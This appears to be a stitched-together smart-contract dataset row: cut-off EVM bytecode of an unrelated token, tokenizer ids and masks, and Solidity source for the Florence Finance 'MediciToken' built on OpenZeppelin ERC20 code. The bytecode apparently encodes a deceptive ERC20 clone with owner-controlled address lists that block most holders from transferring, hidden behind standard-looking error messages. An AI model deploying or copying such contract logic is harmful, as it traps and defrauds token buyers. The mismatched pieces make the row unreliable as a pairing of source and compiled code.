08110156105e457600080fd5b810190808035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610ed1565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610749576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156108385760016002600084848151811061076757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008484815181106107d257fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061074c565b5050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108d45780601f106108a9576101008083540402835291602001916108d4565b820191906000526020600020905b8154815290600101906020018083116108b757829003601f168201915b5050505050905090565b60006108f26108eb61110e565b8484611116565b6001905092915050565b6000600554905090565b600061091384848461130d565b6109d48461091f61110e565b6109cf85604051806060016040528060288152602001612b3b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061098561110e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0a9092919063ffffffff16565b611116565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ab9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610ace8160055461108690919063ffffffff16565b600581905550610b4781600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108690919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dfc5780601f10610dd157610100808354040283529160200191610dfc565b820191906000526020600020905b815481529060010190602001808311610ddf57829003601f168201915b5050505050905090565b6000610e1a610e1361110e565b848461130d565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015611082576001806000848481518110610fb157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061101c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610f97565b5050565b600080828401905083811015611104576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b886024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611222576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612af36022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156113dc5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156116e35781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156114a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b636025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ad06023913960400191505060405180910390fd5b611539868686612aca565b6115a484604051806060016040528060268152602001612b15602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0a9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611637846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108690919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612a02565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061178c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806117e45750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611b3f57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561187157508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561187e57806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611904576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b636025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561198a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ad06023913960400191505060405180910390fd5b611995868686612aca565b611a0084604051806060016040528060268152602001612b15602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0a9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a93846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108690919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612a01565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611e5957600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b636025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ad06023913960400191505060405180910390fd5b611caf868686612aca565b611d1a84604051806060016040528060268152602001612b15602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0a9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dad846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108690919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612a00565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561227157600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611f5b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611fb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b156026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612036576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b636025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156120bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ad06023913960400191505060405180910390fd5b6120c7868686612aca565b61213284604051806060016040528060268152602001612b15602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0a9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121c5846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108690919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36129ff565b60035481101561264357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612382576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612408576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b636025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561248e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ad06023913960400191505060405180910390fd5b612499868686612aca565b61250484604051806060016040528060268152602001612b15602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0a9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612597846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108690919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36129fe565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806126ec5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612741576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b156026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156127c7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b636025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561284d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ad06023913960400191505060405180910390fd5b612858868686612aca565b6128c384604051806060016040528060268152602001612b15602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0a9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612956846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108690919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612ab7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a7c578082015181840152602081019050612a61565b50505050905090810190601f168015612aa95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200857e6b8071485719565c23d864ab8f5e8fbe4489daf33cdb6a48e50b523da0564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2546, 2549, 2278, 2683, 2063, 12740, 10354, 2475, 7959, 2629, 2094, 2581, 2620, 2546, 2509, 2546, 23632, 2094, 2692, 2575, 11387, 2620, 16932, 26187, 2581, 2509, 4246, 2497, 2620, 2546, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5641, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2804, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1009, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,539
0x96f5094998a20008839487369012bb4D3c56eafc
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /// @title MediciToken /// @dev Florence Finance Governance Token contract MediciToken is Ownable, ERC20Capped { /// @dev Initialize with name 'Medici Token', symbol 'MDC' and 1 billion supply cap constructor() ERC20("Medici Token", "MDC") ERC20Capped(1_000_000_000 * 10**18) {} /// @dev Allows owner to mint MDC tokens. /// @param _receiver (address) address to receive the tokens /// @param _amount (uint256) amount to mint (18 decimals) function mint(address _receiver, uint256 _amount) external onlyOwner { require(_amount > 0, "MediciToken: invalidAmount"); _mint(_receiver, _amount); } /// @dev Allows anyone to burn their own MDC tokens /// @param _amount (uint256) amount to burn (18 decimals) function burn(uint256 _amount) external { require(_amount > 0, "MediciToken: invalidAmount"); _burn(msg.sender, _amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20Capped is ERC20 { uint256 private immutable _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor(uint256 cap_) { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } /** * @dev See {ERC20-_mint}. */ function _mint(address account, uint256 amount) internal virtual override { require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); super._mint(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both 